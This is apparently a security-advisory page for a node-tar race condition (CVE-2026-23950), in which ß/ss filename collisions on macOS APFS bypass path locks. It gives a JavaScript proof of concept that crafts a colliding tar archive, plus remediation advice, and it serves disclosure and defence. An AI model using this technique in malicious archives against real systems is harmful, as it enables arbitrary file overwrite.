CVE-2026-23950: node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS

Published Jan 20, 2026
·
Updated

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$

---

PoC

javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');

const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);

console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});

// Construct stream const stream = new PassThrough();

const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);

// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();

// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();

// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End stream.write(Buffer.alloc(1024)); stream.end();

// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });

stream.pipe(extract);

extract.on('end', () => { console.log('[] Extraction complete');

// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });

if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });

---

Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

---

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

---

Other sources

node-tar,a Tar for Node.js, has a race condition vulnerability in versions up to and including 7.5.3. This is due to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive. The patch in version 7.5.4 updates path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en'). As a workaround, users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

MITRE

Affected Software

4 affected componentsFixes available
npm/node-tar<=7.5.3
npm/tar<=7.5.3
7.5.4
isaacs Tar Node.js<7.5.4
IBM watsonx.data intelligence<=5.2.0, 5.2.1, 5.3.0, 5.3.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/tar to a version that resolves this vulnerability.

    Fixed in 7.5.4
  2. Upgrade

    Upgrade node-tar to a version that resolves this vulnerability.

    Fixed in 7.5.4
  3. Configuration

    As a workaround when unable to upgrade to node-tar v7.5.4, filter out all `SymbolicLink` entries from the tarball before extraction to defend against arbitrary file overwrite via the Unicode path collision race condition.

    node-tar extraction logic filter_entries = exclude SymbolicLink entries
  4. Configuration

    Update `path-reservations.js` to compute reservation keys using a normalization form that matches the target filesystem’s behavior (e.g., `NFKD`), followed by `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')` (this is the fix described for the patch in v7.5.4).

    node-tar PathReservations (path-reservations.js) path normalization + case mapping used for reservation keys = NFKD then toLocaleLowerCase('en') then toLocaleUpperCase('en')

Event History

Jan 20, 2026
CVE Published
via MITRE·12:40 AM
Data Sourced
via MITRE·12:40 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
RemedyAffected Software
Data Sourced
via Red Hat·02:01 AM
DescriptionSeverityAffected Software
Jan 21, 2026
Advisory Published
via GitHub·01:05 AM
Data Sourced
via GitHub·01:05 AM
DescriptionSeverityWeaknessAffected Software
Apr 27, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-23950?

CVE-2026-23950 has been classified as a high severity vulnerability due to the potential for a race condition that can lead to unauthorized access or manipulation of files.

2

How do I fix CVE-2026-23950?

To fix CVE-2026-23950, update the node-tar package to version 7.5.4 or later, which addresses the Unicode path reservation issue.

3

What software is affected by CVE-2026-23950?

CVE-2026-23950 affects node-tar versions up to and including 7.5.3.

4

What is the nature of the vulnerability in CVE-2026-23950?

CVE-2026-23950 is a race condition vulnerability that arises from the incomplete handling of Unicode path collisions in the path-reservations system.

5

On which operating system does CVE-2026-23950 primarily impact?

CVE-2026-23950 primarily impacts systems running macOS that utilize the APFS file system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203
CVE-2026-23950 - node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS - SecAlerts